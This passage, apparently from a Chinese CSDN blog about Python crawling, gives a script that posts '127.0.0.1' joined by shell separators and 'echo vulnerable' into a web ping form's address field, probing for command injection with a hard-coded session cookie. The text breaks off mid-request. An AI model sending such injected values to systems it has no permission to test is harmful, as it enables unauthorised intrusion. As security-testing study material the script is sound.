python爬虫——request模块(一)_xiaofengdada的博客-CSDN博客_python request
python——正则表达式(一)_xiaofengdada的博客-CSDN博客
代码如下:
import re
import requests
url = input("请输入你需要查询的网址:")
header = {
'Cookie':'PHPSESSID=tsvp6h1gsr4g89p03ptggmtu2i'
}
symbol = ['|','||','&','&&']
for i in symbol:
#print(i)
ip = '127.0.0.1' + i + 'echo vulnerable'
data = {
'ipaddress':ip,
'submit': '"ping"'
}
res = requests.post(url=url,headers